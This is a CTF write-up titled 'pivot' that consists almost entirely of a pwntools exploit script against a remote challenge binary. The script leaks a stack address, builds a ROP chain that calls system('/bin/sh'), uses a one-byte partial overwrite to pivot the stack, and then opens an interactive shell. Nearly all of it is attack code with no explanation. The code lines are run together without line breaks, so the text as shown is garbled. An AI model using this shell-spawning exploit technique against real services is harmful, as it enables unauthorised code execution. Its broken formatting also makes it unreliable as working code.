48 字
1 分钟
pivot

exp:
from pwn import *
context(os="linux",arch="amd64",log_level="debug")elf=ELF("./pwn",checksec=False)pop_rdi=0x4011F1ret=0x4011F6system=elf.plt["system"]
io=remote("nc1.ctfplus.cn",23968)io.recvuntil(b"Desk stamp: ")io.recvline()io.recvuntil(b"Claim check: ")buf=int(io.recvline().strip(),16)low=buf&0xffif low<=0x8f: off=0x48elif low>=0xb8: off=0x100-low
payload=flat( b"/bin/sh\x00".ljust(off,b"A"), 0, pop_rdi, buf, ret, system, word_size=64,).ljust(0x70,b"B")
io.send(payload)io.recvuntil(b"night clerk:\n")io.send(b"D"*0x20+p8((buf+off)&0xff))io.interactive()